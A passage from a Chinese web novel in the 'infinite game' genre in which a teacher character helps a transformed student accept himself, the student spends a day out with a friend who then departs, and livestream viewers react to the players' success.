狼狈至极,又何其幸运。 也是这个时候,遍体鳞伤的胡昌突然跑了回来。 他的状态看起来很不对劲,踉踉跄跄走不稳,额角青筋暴跳,直翻白眼,单手用力地掐住自己的咽喉,竭力传出赫嗤赫嗤的气音。 仿佛有什么东西狠狠勒住他的脖子,令他喘不过气。 直至看见江凯乐捧着的半颗心脏,胡昌眼睛睁大,就像走到末路的亡命徒突然看见一线生机,惨白虚脱的脸上绽出癫狂的大笑,手握本命武器快速冲了过来。 嘭! 蝉生忽然现身,胡昌还没触碰到江凯乐的衣角,就被他一脚踹飞出去。 隐在暗处的玩家们全部出动,合力钳制住胡昌的手脚,让他动弹不得。 “啊啊啊!你们放开我……艹,放开啊——!” 严岳眼疾手快地使用束缚道具,彻底将人给控制住。 马尾女见胡昌嘴里骂个不停,随手拿起掉在地上的黑板擦塞进他嘴里,愤恨地连踢两脚:“TM的敢给老娘暗中玩背刺,还偷东西嫁祸我们,真以为不敢弄死你?” 虽然知道大千世界无奇不有,总会冒出那么一两个脑子有问题的傻逼极品,但胡昌的做法还是把他们恶心得够呛。 其他玩家的脸色一样冷若冰霜。 他们和胡昌之间有很多账要算,包括对方背后恶意阻拦闯关者的神秘组织,两三句话审问不完。 以防影响谢叙白两人,耽误通关试炼,玩家们贴心地把胡昌堵住嘴拖走。 谢叙白没回头。 他不会拿江凯乐的心脏开玩笑,敢光明正大地拿出来,自然是因为提前安排玩家在旁边警戒蹲守。 “蝉生,你能不能在门口等一下?” 蝉生本就没跟其他玩家一起走,探着脑袋眼巴巴地观望谢叙白两人,闻言立马高声回道:“好的!” 也是这个时候,江凯乐听到谢叙白温柔而不失沉稳的嗓音。 “来见你之前,我们带着这半颗心脏走遍江家。吴医生、你的母亲、从小照看你的江家下人,我们对你的祝福全都被灌注进这里。” 谢叙白用手指轻抚心脏:“现在只差最后一点善意,它就能被完全激活,所以我让蝉生留下来。” “他是你的朋友,不会吝啬给予你最后的祝福。” 江凯乐一愣,回头看向蝉生。 蝉生能听到他们的对话,就是不太能听懂说的什么。 瞄见少年泛红的眼尾和脸上未干的泪痕,他仿佛能感受到对方的紧张不安,连忙再三保证道:“我没走,不会走,一直在的,就在这里!” 每一个字都下了重音,像绝不动摇的誓言。 江凯乐僵立半晌,看看蝉生又看看谢叙白,前所未有的安心感如冬日暖阳般将他包围。 他别扭地抹掉眼角的泪水,抽了抽鼻子,闷声说:“老师不让蝉生现在过来,是不是还有麻烦或者顾虑?” “不是麻烦,也没有顾虑。”谢叙白问,“江同学,为什么你不敢看自己的手臂?” 江凯乐的动作再次停滞半空。 他张了张嘴,一时没能说出任何话。 即使被谢叙白点出问题,他的视线余光也在疯狂地移至他处。 不敢看自己手臂上的赤红鳞片,不敢正视地砖上的狰狞倒影。 他觉得自己变成怪物的样子丑陋至极。 谢叙白比谁都清楚江凯乐的心结所在,也知道江凯乐有多么害怕面对这个残忍的事实。 但平安死前的惨状会被诡化定形,江凯乐的异变大可能也会伴随终身。 他希望让江凯乐彻底脱离循环,而非后半辈子都惶惶不可终日地活在阴影里。 谢叙白看着江凯乐:“江同学看过老师的简历,应该知道我曾经在学校里被抢占过奖学金的名额,但你知道老师后来是怎么解决的吗?” 江凯乐还很恍惚,但谢叙白如古井般波澜无痕的眼神,总能让他在惊惶中找到一丝稳稳的安心。 他下意识回答:“……检举揭发?” 如果是江凯乐本人,必定要闹个天翻地覆。 但他的老师光辉正直,就算面对不公和压榨,估计也会采用正当的手段维权。 谢叙白无奈一笑,摇了摇头:“那人是校长的亲戚,蛇鼠一窝,不管写几百封检举信都没用,还会引来不小的麻烦。” “所以我暗中跟踪校长,发现他包养情人的蛛丝马迹,在那个情人常去的店里散播校长将要晋升的谣言。不久后情人就闹到校长老婆的面前,好几次堵在校门口,张口向校长讨要巨额封口费。” “校长那边自顾不暇,就没人再给抢我名额的学生撑腰。”谢叙白说,“我如法炮制,线下找外校学生帮忙,内涵他抢占别人的作品参赛获奖,没多久大赛主办方就找了过来。” “那是知名赛事,绝对不允许弄虚作假,事实上他并没有抢走别人的作品,背后有的是外援帮他润色构思。” “但沸沸扬扬的谣言一传,他被着重调查,查出人品败坏,包括给其他参赛者下药,威胁种子选手弃赛,甚至还有几次见色起意,逼迫学妹学弟和他开房。证据查实后,他的资格和奖项被取消,声名狼藉,留校察看。” “我如愿拿回了自己的奖学金。” 看着满脸愕然的江凯乐,谢叙白莞尔道:“觉得很不可思议对不对?老师居然会用这种卑鄙的方法。” “才不是!”江凯乐当即就想要否认。 那些人罪有应得,他觉得谢叙白是在为民除害。 “再皆大欢喜的结果,也无法改变事件的本质。” 谢叙白看着江凯乐,目光依然温和:“事实上就是你听到的那样,老师没有那么刚正,为了达成目的,维护自身的利益,也会采取非常手段。” “这就是老师需要正视的反面。” 江凯乐立马明白过来,谢叙白是在鼓励他接受异化的自己。 当知道这一点的时候,他远没有想象中那样的平静,呼吸突然急促:“不——” 他咧嘴喷出灼热的吐息,近乎尖锐地质问:“这才不是我真实的模样!我才不是怪物!” ——不,你就是头怪物。 心声冷漠地响起,充斥着难以言喻的自厌。 “不是!不是!就不是!” ——还在自欺欺人什么?想想你曾经做过的事。或者你低头看看自己的鳞片,看一眼窗户玻璃,地砖……你为什么就是不敢看? 江凯乐浑身一震,颤颤巍巍地低下头。 锃亮的大理石地砖,清清楚楚地倒映着他异化后的身影,狰狞的体态比老师还大一圈,还有…… 还没等江凯乐看明白,就被谢叙白瞬间捧高脑袋,视线就此远离那恶梦般的一幕。 江凯乐再次对上谢叙白的脸,那张脸带着一如既往的温和。 他忍不住眨一眨眼睛,又有滚烫的液体顺着脸颊滑落,淌在谢叙白捧着他的手背上。 “连老师也觉得我本质是头可怕的怪物吗?”江凯乐感觉自己几年来的眼泪都没今天流得多,没出息极了,固执地问道,“如果我不接受,老师是不是会丢下我?” “不。”岂料谢叙白吐出坚定有力的一个字。 “江同学是我们阳光开朗迷人勇敢善良的江少侠,怎么会是可怕的怪物?” 谢叙白说:“祠堂里的那两个人不是因你而死,江世荣对他们施以酷刑,他们在被关进棺材的当天下午就已经咽气。” 江凯乐陡然得知这一惊世骇俗的真相,心神俱震。 “既然江少侠没有做过真正的恶事,又怎么会是可怕的怪物?因为人微言轻、势单力薄,所以身上才要长出尖锐的獠牙和坚硬的鳞片。” 谢叙白牵起江凯乐的一只手,将这如火般热烈的红鳞,循环渐进地带入江凯乐的视野,笑道:“这分明是英雄勇往直前的盔甲呀。” 江凯乐顺势看向自己长满鳞片的手背,瞳孔颤抖个不停。 等他稍微平复好心情,谢叙白毫不迟疑地回答道:“第二个问题,老师绝对不会丢下江少侠。” “如果江同学无法接受,那我们就不接受。”谢叙白扬声问门口的蝉生,“蝉生,你还在不在?一会儿愿不愿意给咱们的江少侠送上祝福?” “在!愿意的!”蝉生听懂这句话,点头如捣蒜。 “江少侠听到了没有?” 谢叙白揉揉少年的脑袋,一字一顿,认真地说道:“不接受也可以,逃避也可以,想怎么样都可以。” “不管江少侠最后做出什么样的决定,老师和蝉生都在。” “你们……”江凯乐的话说出口,才发现自己已然泣不成声,不停地抹眼泪,“你们为什么要对我这么好?明明我……” “因为江同学就是有这么好。” 谢叙白又将江凯乐的手按在心脏上:“能感受到吗,大家对你的祝福?” 江凯乐眼角挂着眼泪,怔愣地看过去。 他的手指按在心脏柔软的表皮,微微一用力,祝福的话语就迸溅出来,灌入他干涸疮痍的心田。 【大少爷很好。】 【是善良的孩子。】 【聪明勇敢,就是有时候皮了点。】 【没有他那时候的维护,我可能早就死了。】 …… “你不是坏孩子,是好孩子。不是可怕的怪物,是善良的江少侠。你值得被爱,被很多人爱。” 谢叙白不容置疑地说出这句话,每一个字都能感受到他的真挚,令人深信不疑。 他握着江凯乐的手晃一晃:“接受你的盔甲。” 又摸了摸半颗心脏:“接受你的善良。” 最后摊掌贴合江凯乐的手掌,一并托起心脏,抵在后者的心口,笑颜如玉,温言细语地鼓励道:“现在,让我们为即将奔赴的未来送上一句祝福?” 江凯乐泪如雨下。 他无声地哭了好半会儿,忽然咬紧牙关低下头,去看瓷砖上的倒影。 这次谢叙白没有阻止他。 江凯乐仔仔细细地看着,猩红的兽瞳、狰狞的獠牙、嶙峋的红磷、和人完全搭不上边的面孔,一丝一毫都不肯放过。 本以为会因这自虐般的行为感到无比痛苦,但一点都没有。 “……什么嘛,原来这么帅,害我心惊胆战好长时间,以为自己破相。” 江凯乐憋半天,破涕为笑,张开嘴问谢叙白:“老师,我的嘴巴好痒,是不是长了很多牙?” 老师刚才喂他的那颗糖,他一口就嚼碎了,都没来得及舔两下,好可惜。 谁知道谢叙白还真帮他认真地数了一下,规律排列,也不难数:“一百二十三颗,江同学以后刷牙估计要用五把牙刷。” 江凯乐哼哼唧唧:“我一根也能刷,大不了早起十五分钟。” 谢叙白一哂,毫不客气地拆穿他:“上次答应老师闻鸡起舞,结果在床上赖半天不愿意起床的人是谁?嗯,肯定不是我们的江少侠。” 江凯乐脸颊一红。 师生对视半晌,谢叙白正想再揉揉少年的头发,忽然听到对方掷地有声地说道:“我希望自己以后能成为行侠仗义的大侠,见义勇为,仗剑天涯。” “但我更希望自己有能力保护老师,保护蝉生。” 江凯乐的视线转向自己在意的这两人。 直到现在,他还是很慌、很怕。 可老师为他走了前面的九十九步,蝉生正站在第一百步的位置朝他伸手。 江凯乐心想,他还有什么好怕的?他已经是这个世界上最幸福的人了。 他深吸一口气,单手按上胳膊处的红鳞,坚硬的鳞片透着金属般的冰凉,向他展露着强大的力量。 “……老师,我感受到了,这就是我的盔甲。” 吐出这句话的时候,江凯乐浑身一松,目光熠熠。 恐惧感、自厌感皆如云烟般消散。 从此经年累月,他将无所畏惧,为在意的人所向无敌。 就在江凯乐话音落下的刹那间,手里的心脏陡然爆发出炙热的火光! 第50章 【1.5w营养液加更】 少年…… 火焰耀眼却不刺目,转瞬将最后一点灰白色烧为灰烬。 仿佛由此浴火重生,半颗心脏忽然焕发出前所未有的光彩。汩汩血液在细长的血管中流淌,撑开褶皱的表皮,染红灰暗的心房。 它不断地收缩和扩张,如同燃烧的熔炉,传出炙热的震响。 扑通、扑通……! 【心脏活性已恢复:100%】 久违的心跳声从江凯乐的胸腔里传出,此起彼伏,仿若呼唤。 江凯乐深深地看了谢叙白两人一眼,没有任何迟疑,伸手将心脏往胸口一送。 半颗鲜活的心脏触及贴着心口的衣服布料,荡开一阵轻微的涟漪,眨眼间完全没入其中。 两道心跳声合为一体,江凯乐在此时听到诸多祝福的声音,有老有少,有男有女。 他脸上的红磷如幻影般逐渐褪去,尖锐的獠牙缩回牙床,黑长狰狞的指甲脱落掉地,拉宽的兽骨咔嚓作响、收拢缩紧,很快恢复少年人的身姿。 再次看向脚下锃亮光洁的地板瓷砖,江凯乐见到了昔日的面容,忍不住抬头看向谢叙白。 后者对他微微一笑。 江凯乐跟着笑,转头喊:“蝉生,我们去吃糖!” “还有冰淇淋、汽水、蛋糕、烤肉,我做主让你吃个够!” 蝉生担心江凯乐的情况,听到呼唤后,想也没想地跑过来,被人一把勾住肩膀。 蝉生的视野一阵晃,侧头就能看见少年碎发翻飞,兴高采烈的脸庞在白炽灯下灿如烈阳。 他也忍不住咧开嘴,傻乎乎地笑起来:“好啊好啊!” 谢叙白笑道:“你们去吧,玩得开心,记得天黑之前要回来。” 江凯乐立时驻足,有些不明所以。 ——老师这话怎么像要他们离开江家?他倒是很想出去,可是…… 冷不丁的,江凯乐感受到谢叙白的手指点在他的后脑勺中央,传来头发被拉扯般的痒意。 事实上谢叙白并没有揪住江凯乐的头发。 他嘴唇翕动,无声念咒。 细看谢叙白的指尖,会发现上面沾着鲜艳的血。 那血像有生命力般,化作赤色的薄膜贴合皮肤,助他拾起无形的丝线,收束在掌心。 后脑勺七根,脖颈八根,双臂关节二十八根…… 束缚自己四肢百骸的丝线被拾捡,江凯乐怎么可能没有感觉。 他不可思议地瞪大眼睛,克制不住想要回头,忽地听到谢叙白莞尔轻笑道:“往前走,江少侠,老师送你一份惊喜。” 话中的意味不言而喻。 肾上腺素急剧分泌,刚刚恢复的心脏疯狂跳动,嘭嘭撞击胸腔。 “……我往前走,要走到哪儿?”江凯乐的嘴唇颤动起来。 “走到你现在最想去的地方。” 江凯乐还怔在原地,蝉生已经在谢叙白的眼神示意下,迫不及待地拉他往前走。 阶梯教室在一栋小洋房中,出去便是宽阔的大路。 路边有丛生的花草,还有枝繁叶茂的景观树,被园林工人修剪得极其规整美观。 江凯乐几次想回头,都被蝉生掰回来:“不能回头看,看了不叫惊喜。” 谢叙白站在阶梯教室内,骨节分明的手掌虚虚合拢,做出收束抓握的动作,看着手中无限延长出去的丝线。 解除血脉秘术需要至亲之人的心头血,许女士主动给了他,他又找江家主和其他人要来一些。 终于在某一时刻,手里的丝线停止滑动。 谢叙白猜测江凯乐可能正站在江家大门口踌躇。 约莫十几秒钟后,丝线倏然一动,像畏于湍急河流的人,终于下定决心往前奋力一跃。 谢叙白弯眸,有股说不出的欣慰。 同时,他张开嘴,冷声念出最后一声咒语,带着与温润神情极不相符的凛然威势,手掌猛然一捻,诸多丝线瞬间化作飞灰。 江家大院门口。 从跳出雕花金属门开始算,江凯乐已经傻乎乎地呆站了整整三分钟。 蝉生忍不住戳戳他:“余又的惊喜你收到没?” 怎么突然发呆。 “不痛……”江凯乐看着湛蓝天空刺目灿烂的天光,摸完全身都没有痛感,恍若隔世,“真的一点都不痛。” 蝉生这时候脑筋转得快,摸摸他的脑袋:“那你以前好惨,出家门都会痛。” 江凯乐正要开口,忽然听到背后传来一阵兴奋的嘶吼声。 扭头一看,所有异化的下人蜂拥而起,似洪水猛兽冲进江家的多栋主楼别墅! 身为诡王,江凯乐隐约能感知到这片土地正在发生的所有动静。 他稍作凝神,江家人撕心裂肺的惨叫在耳畔轰然炸响。 期间不时夹杂着利齿撕开皮肉、伤口绽出血液、骨头被细细嚼碎的声音,令人毛骨悚然。 那是被压榨已久的灵魂,在肆意畅快地清算累累血仇。 江凯乐的第一反应,是去捂住蝉生的耳朵。 后者朝他投来疑惑的一眼。 “没事,不用管!”江凯乐凑在蝉生的耳边大声说,“走吧,咱们去吃糖,天黑之前再回来。” “不在江家吃?你有带钱吗?我没有钱,不过可以帮忙刷碗。” 吃东西要付钱或者劳力,这个蝉生知道。 “不用担心,我出来的时候,老师好像往我兜里塞了钱。” 江凯乐一边拖着蝉生走,一边拿出钱细数。 一沓钱快小两千。 谢叙白讲课的时候,大概教过江凯乐外面的基本物价。 他怀疑谢叙白把身上为数不多的现钱全给了自己。 蝉生十分感动:“余又真好。” 江凯乐道:“老师真名叫谢叙白,他特别好。” 蝉生道:“我知道的,特别特别好。” 江凯乐道:“特别特别特别好!” 十六岁的少年蓦然幼稚得像七岁,脑子不灵光的绷带人,智商峰值不超过六岁。 两人一路高声叫嚷着“好好好”,直至走出别墅区,坐计程车,抵达繁华的商业街道。 这是江凯乐第一次没在江家下人的陪同下离开家。 盛天集团那次不算,毕竟当时他还挟持着司机。 也是头一次,他试着自己付钱。 江凯乐领着蝉生找到一家小型超市,深吸口气走进去。 货架上摆放的零食琳琅满目,让人看得眼花缭乱。 不一会儿,江凯乐和蝉生一人手里拿包糖,到柜台结账。 付钱的时候发现才10元,没忍住又去拿了6包过来,总计40元。 江凯乐折回去,拿来两瓶汽水,蝉生拿来两瓶橘子水,总计52元。 他们的钱可以买好多东西! 两人登时雀跃起来,一前一后地跑到货架前,选妃似的挨个拿两样。 店主原先看他们在那儿刘姥姥进大观园似的转来转去,还以为这哥俩没钱。 结果不一会儿,柜台上的零食袋越堆越多,他装袋的速度甚至都比不上江凯乐两人的手速。 到了后面,看着面前的五大袋零食,再想赚钱的店主都忍不住头皮发麻:“够了够了,你俩回家吃完再来买,别浪费咯!” 结账的时候又闹出不小的风波。 店主见江凯乐随手一掏,就是一沓现钱,顿时狐疑地眯了眯眼睛。 这年头谁用现钱啊?都是手机扫码支付。 一般正常买东西的人,也不会像江凯乐俩人这样,看见大众零食都兴奋得像掉进粮仓的老鼠。 他开口质问:“这钱不会是你俩偷来的吧?” 江凯乐反应迅速,下巴骄傲矜贵地一抬:“你看我们的穿着打扮,像会偷钱的人吗?” 店主看江凯乐,亚麻白的休闲装,布料柔顺如丝绸,肉眼可见的高档,像富二代出门体验生活。 再看蝉生,黑色作训服勾勒出流畅紧实的肌肉线条,像刚从战场下来的雇佣兵。 ……等会儿不对劲,这个绷带怪人胸口沾着的是血吗? 是血吧?啊?? “你表现得这么惊讶,是不是家长从来没有给过你这么多钱?”江凯乐突然将纸钱甩得哗啦响,目含怜悯。 店主被他那明着炫耀的眼神刺激到了,瞬间忘记纠结蝉生身上的痕迹到底是血,还是番茄酱。 店家嘴角抽搐:“小少爷,谁家正常爸妈会一次性给未成年人这么多现钱?” “可是我家长就给了。”江凯乐开始嘴欠,“也就是说你没有。不可能吧,这么惨?” “我跟你个毛头小子比什么?我单日营业额都不止这个数。” “但那不是家长给的啊。” “我一个月营业额是你手中的四十多倍!” “但那不是家长给的啊。” “你家长是在纵容你!” “对啊。”江凯乐终于心满意足地一笑,“你怎么知道我家长特别爱我?” 店主:“…………” 赶在店主大发雷霆之前,江凯乐赶紧结账,双手拎着大包小包的零食袋,像只招猫逗狗的泼猴儿,嘻嘻哈哈地推着蝉生闪人。 刚出门,他就带着蝉生去换了身新衣服,脱下满是风尘和血腥味的作训服。 买衣服花掉小两百,买零食花掉小三百。 两个人脸上带笑,一路吃吃喝喝,对什么都新鲜,听到叫卖声就凑上去,闻见香味更是走不动道。 吃过冰淇淋,吃过小蛋糕,糖糕、牛肉面、煎饼果子…… 他们走过宽阔的商业街,步入静谧的公园,顺着茂密的林荫漫无目的地走,一口闷完饮料和奶茶,对着打了个混着各种甜味的长嗝儿。 最后两人懒散地坐在躺椅上,咔嚓咔嚓吃着薯片,迎着夕阳热烈的余晖,看下班的人流在暮色中匆匆而过。 “我吃饱了。”蝉生拍拍圆滚滚的肚皮,发出满意的喟叹,“不去吃烤肉了吧,烤肉好贵,谢叙白没有多少钱。” 江凯乐嗯了一声,在数剩下的钱。 两千用到最后还剩一千三百多,他把整钱和零钱都仔细整理好,妥帖地放进口袋,准备一会儿还给谢叙白。 两人一时间没有再说话,空气有些安静。 直到蝉生偏了偏头,作出聆听状。 江凯乐余光瞧见,想起蝉生上次就是做出这个动作后从他眼前突然消失,哪怕早有预料,也忍不住绷紧脸皮。 蝉生看看他,忽然问:“乐乐,你还怕听故事吗?” 江凯乐顺口道:“怎么,你要给我讲故事?” “对,你要是害怕,我就不讲。”蝉生说,“但我感觉,你听了这个故事会轻松一点。” 江凯乐不咸不淡地嗯了一声。 他转过头,似乎不在意地看着夕阳:“那你讲讲看。” 蝉生清了清嗓子,刻意将声调压得低沉,惟妙惟俏地模仿起副本通关彩蛋的话剧声。 “嘿,我亲爱的观众朋友们,又到了每日开心故事会时间。你们听说屠龙少年的故事吗?对,就是著名的‘屠龙少年终成恶龙’!” “——但我们今天不讲那个,哈哈哈哈!” 蝉生干巴巴地放声大笑,腔调有种小孩子学大人说话的滑稽。 江凯乐本想维持若无其事的模样,结果没忍住翘了翘嘴角。 “一位神秘的预言家预测,有头恶龙即将来到村庄。村子里的人很害怕,因为传说恶龙吃人且残暴。他们推举出一个勇敢的少年,让他去和恶龙搏斗。” “少年是人,怎么可能战胜强大的龙?村民们聚集在一起,纷纷给他支招。” “猎人说,恶龙会飞,你也得拥有健壮的翅膀。于是他砍掉大蝙蝠的翅膀,鲜血淋漓地装在少年的脊背上。” “铁匠说,恶龙的鳞片水火不侵,你也得有坚硬的鳞片。于是他打造出无数枚鳞片,插在少年的皮肤上。” “母亲说,恶龙大如山岳,你小小一个,也要变得同样雄壮。于是她托人带来魔兽的血肉,终日不停地喂养少年,直至少年一日比一日巨大。” “村民使出浑身解数,将少年全副武装。少年带着他们的希冀和意志出门,看到魔兽,杀掉,拔掉自己的牙齿,剃光头发,装上它们的獠牙、犄角和尖爪。” “可他在外面转了一圈,什么龙都没找到,于是他回到村庄。” “当他现身的那一刻,熟悉的人们爆出惊骇的尖叫,所有人都在大喊‘龙来啦——!’” “龙来了?少年十分震惊。” “他立起身体,巨大的阴影遮盖整个村庄。他警惕地寻找,大地因他的踏步传出轰隆隆的震响。” “他看着根本没有龙的周遭,疑惑地询问‘龙在哪?告诉我,我来杀掉它!’” “结果少年张嘴,吐出一阵震耳欲聋的嘶吼。” “宛如梦中惊醒,少年疯狂地跑到湖边,更多的房屋被他撞得支零破碎,他看见湖面倒映着一个狰狞庞大的龙影。” “原来,龙就在这里。” 等蝉生说完故事,江凯乐不知沉默了多久,咬着腮帮子,脸皮有些轻微的颤抖。 “故事在最后说,如果没有村民愚昧无知地激励,就不会有恶龙的诞生。” “魔兽横行的土地,人们的思想已经被污染,他们应该给少年宝剑和盾牌,不该给少年装上鳞片和翅膀。” 经历这么多,就算是智商不高的蝉生,也能明白点什么,讲出一些宽慰的话。 蝉生认真道:“所以,不是少年的错。” “……”江凯乐瞬间捏紧椅子的边沿,咬牙切齿,“你和老师今天到底准备让我哭多少次?别太过分了!” 蝉生听他的声调,软软糯糯,好像没生气,便塞过去一颗草莓软糖。 是哄他,也是告别。 “乐乐,我要走啦。” 江凯乐再次僵住,盯着眼前的替死软糖,眼眶唰地红了一圈。 身为A级诡王,他已经察觉出,这颗糖和蝉生的命线连在一起。 但蝉生说:“你不要吃它,帮我保管,我下次来找你要。” 替死软糖在被使用或损坏前,不会再次生成。 死亡会清空记忆,可是和江凯乐的记忆很珍贵。 蝉生舍不得被清空,想好好地保存它。 同一时间,位于该场副本的玩家都听到了冰冷的系统提示声。 【叮,恭喜各位玩家达成通关条件,提前完成本场试炼!】 “我会努力活下来,一次都不会死,直到再和你见面。” 蝉生澄澈的眼睛透过绷带的缝隙望过来,映着灼热的余晖:“乐乐,我今天很开心,下次换我请你吃糖,我们约好了。” 晚上快八点的时候,江凯乐回到江家大院。 浓郁的血腥味扑面而来,院内多栋精致华美的楼房倒塌,到处是破碎的血肉和残砖瓦砾,再也看不到昔日繁华之景。 谢叙白等在大院门口。 天已黑透,但他看着眼圈通红、孤孤单单的少年,什么都没说,走过去揉揉他毛茸茸的头发。 少年倔强地咬住下唇,猛然扑进谢叙白的怀里,带着哭泣的闷声传来:“老师,蝉生走了。” “他走的时候,给我讲了个故事……” 谢叙白温和地应一声,似乎并不意外:“老师知道这个故事的后续,你想听吗?” 江凯乐瞬间抬头,眼巴巴地看着他。 谢叙白笑道:“一位老人听说了恶龙的故事,来到村庄。他带着神志不清的恶龙走遍少年从小生活的地方,有他练剑的训练场、有他躲懒的湖边、还有他睡过的麦田。” “回顾过去的旧影令恶龙清醒过来,它鼓起勇气,忍痛摘下鳞片、獠牙和翅膀,变回少年的模样,得以重返人间。” 说话间,师生两人迎着苍茫的月色,慢慢往前走。 天空传来噼里啪啦的声响,循环规则塑造的幻境应声而碎。 那与世界朦朦胧胧的隔阂感消失了,犹如电影结束后落下幕布,周围的景象变得一片清明。 在两人的身后,下人已经恢复原本的模样。 他们收敛脸上的凶相,齐排站在一片血泊之中,朝两人离去的背影,恭敬且感激地俯身。 远处人声鼎沸,万家灯火连绵一片。繁华世界的各色彩灯交相辉映,烂漫迷人眼睛。 平安和其他猫猫狗狗们趴在路边,百无聊赖地甩了甩尾巴,维持着谢叙白进入江家舞会前的模样。 陡然看见谢叙白和江凯乐的身影,一双双眼睛在黑夜里乍亮,像脱缰的野马般窜过来。 “汪汪汪!”“喵嗷——” 它们想去扑谢叙白,但是数量太多,旁边的少年受到波及,也被一起包围。 料想会被谢叙白亲密揉头的,应该是未来的伙伴,猫猫狗狗们顺势挂在少年的身上,耸动小鼻子嗅来嗅去,熟悉他的气味。 江凯乐猝不及防被毛茸茸海淹没,满脸错愕,手忙脚乱接住它们:“等会儿,呃啊,别舔我的脸!老师——” 少年喘不过气,又不敢用力推开它们,慌乱地找谢叙白求救。 却见青年远远地站开,一脸忍俊不禁,在旁边看他的热闹。 江凯乐瞪大眼,充满控诉:“老师!” 谢叙白挑眉:“这就是不守约定的惩罚。说过天黑前必须回家,结果让老师干等你两小时,不知道我会有多担心?” 江凯乐顿时语塞,愧疚地说道:“对不起。” 谢叙白走过去,屈指敲一下他的额头,将挂在江凯乐脸上的猫抱进怀里,温柔而不失力道地挠挠猫下巴。 猫舒服地发出呼噜噜的声音,在他怀里翻了个身。 谢叙白垂下眼睫,温柔动听的嗓音流淌在恬静的夜色下,将崭新的故事娓娓道来。 “少年获得了巨龙之力,离开村庄踏上真正的冒险之旅。路上他结交到一名知心伙伴,两人相约变强后再见,属于他们的传奇篇章就此展开。” “现在故事听完了,江同学。”谢叙白朝久久不能回神的少年伸出手,“我们该回家了。” 回神时,江凯乐已经朝那手掌一把抓了上去。 猫猫狗狗绕在他们的身侧,欢快嬉闹。 平安直觉等待青年下班的这段时间,好像发生过什么不得了的事情,小步随行在谢叙白的身边,发出询问的低吼。 虽然才三天,但谢叙白感觉自己好久没见到小家伙们,心里一阵发软:“乖,没事,我们回去说。” 江凯乐紧紧地牵着谢叙白的手。 阴森黑暗的江家大院被他们抛在身后,越来越远。 少年一路向前,不曾停歇,忽然听到一道嘹亮的公交车鸣笛声划过夜幕。 他如梦初醒,猛然抬头,颤动的瞳孔倒映着人来人往的夜市,终是被青年带入了热闹喧嚣的烟火人间。 另一头,通过中转站进入直播大厅的严岳等人,迎面就被山呼海啸般的议论声震得不轻。 无数观众正围绕谢叙白的存在激情探讨,引发一场空前绝后的狂欢!《 》 50-55 第51章 玩家视角的谢叙白2.0【…… 不奇怪玩家会这么激动。 试问在九死一生的无限游戏里,忽然出现一个可以让他们直接通关的特殊NPC,怎么可能淡定得下来? 而且这还不是捕风捉影的推测,是系统已在任务面板给出明确提示,几千万观众亲眼验证,属于强有力的实锤! 然而得知这百利而无一害的爆炸性消息,却不是所有人都感到高兴。 某分区座位上的几名观众,看见严岳等人成功通关,在热火朝天的氛围中扭曲着脸,一个字都没憋出来。 旁边有人见状,立马捏怪排科地嘲讽道:“没想到啊没想到——你们说这特殊NPC怎么就真这么好心呢?” “怎么就不像某些人说的陷害玩家搞阴谋论呢?” 这正是几人刚才阴阳谢叙白的说辞。 他们认定谢叙白是系统的爪牙,没准会在最后关头突然发难,让严岳这群上赶着献殷勤的狗腿子掉入深渊。 NPC戏耍玩家的事情又不是没发生过。 可一直等到严岳等人通关试炼,这群人期待的戏码也没上演,之前的据理力争全成了笑话。 此时被那些嘲弄的眼神盯看着,他们立马感觉脸上像被人抽了几巴掌似的火辣肿痛,再也待不住,起身灰溜溜地离开。 看着他们消失,后面的观众忍不住啐了一口唾沫,满脸厌恶:“都是些什么酸鸡红眼病,见不得人好。” “那几人好像是严岳敌对公会的人,看不惯严岳轻松通关也正常。” 同伴在旁边说道:“但确实很让人意外。” 他没说具体意外的是什么,因为整场试炼都充斥着不敢置信的惊呼。 最初的意外,始于谢叙白第二次现身严岳的直播间。 试炼一开场,大量观众蜂拥进入严岳的直播间,热度比他以往直播开始前要高出整整一倍。 但这些观众里,几乎有百分之二十的人是过来看热闹或落井下石。 只因严岳在上一场直播中犯下的“罪过”——侥幸。 在险象环生的死局中侥幸遇到特殊NPC,不仅逃过一劫,还躺赢通关。 在充斥着腥风血雨的热度排行榜上,侥幸成为第一(短期),把一众不知比他强多少倍的大佬踩在脚下,名不副实。 多的是玩家眼红他的侥幸,以至于严岳还没开始行动,就有人大发牢骚。 :管家让他在教室里等,他就跟被训过的狗一样站着不动,真他妈憋屈,还不如去看其他大佬的直播。 :前面尬黑的有完没完?你开局和NPC对着干,现在坟头草都不知道有几丈高! :尬黑?其他主播都在抓紧时间寻找线索,严岳却只会被副本牵着鼻子走,这难道不是事实? :说得好,他本来就徒有虚名,我看这次没有特殊NPC帮忙,他还能怎么通关。 :加一,等下看他怎么死。 :再说一句爱看看不看滚,别他妈在这儿影响其他人看直播的心情! 黑子们言之凿凿,准备为投机取巧者送上花圈。 其他观众很是恼火,狂发弹幕和他们吵得不可开交。 各种维护的话里没有提及谢叙白。 想提也没法提。 黑子们可以逮着躺赢的事一个劲儿开嘲讽,他们却不能笃定谢叙白会再次现身。 前线攻略组发公告说,谢叙白很有可能出现在这一次试炼中。 但众所周知副本不存在共通性,谢叙白会再次出现的可能性微乎其微。 以至于当谢叙白真的出现时,整个弹幕区域霎时间一片空白。 粉丝和黑子齐齐震惊,而后弹幕如潮,几乎淹没整个屏幕。 :啊啊啊啊啊啊老婆啊! :前面的有没有素质?光天化日的乱叫我老公什么!啊啊啊啊老公又见面了爱你爱你爱你! :某些人的正主一次都遇不到特殊NPC,但某的人就是能够遇上一次两次无数次,这又何尝不是一种实力(狗头) :刚才叫嚣的人呢,咋突然哑巴了,是天生不爱说话吗? :就算谢叙白出现,也不代表严岳能够顺利通关这场试炼,嚣张什么? 前线攻略组的人一直蹲守在严岳的直播间,见状喜出望外。 他们立马通知后勤组找到同副本其他玩家的直播间,从多个主播的视角记录观察谢叙白的一举一动,如同对待国宝级大人物般严阵以待。 副本被证实真的存在互通性,绝对能引起一场震天动地的风波。 其影响颇大,特别是洲队之前的无形对峙。 就凭带来讯息的谢叙白是中洲人,二次出现在他们自己人的直播间,瞧不起中洲队的其他洲队这下也得把高抬的下巴低下来说话! 这事除去内部人员,谁也不知。 胡昌和严岳因意见不合引发争吵。 严岳认为要先和NPC打好关系,胡昌却嘲他在捧NPC的臭脚。 对待那些虚拟数据人根本不需要这么麻烦,直接严刑逼供,什么样的情报得不到? 然后就有了观众们津津乐道的名场面。 ——谢叙白推门而入,胡昌大放厥词要榨干他,贴脸开大。 特别在有观众发现谢叙白似乎能听懂玩家的话后,弹幕登时一片哗然,为他尴尬,为他默哀。 :点蜡。 :走好。 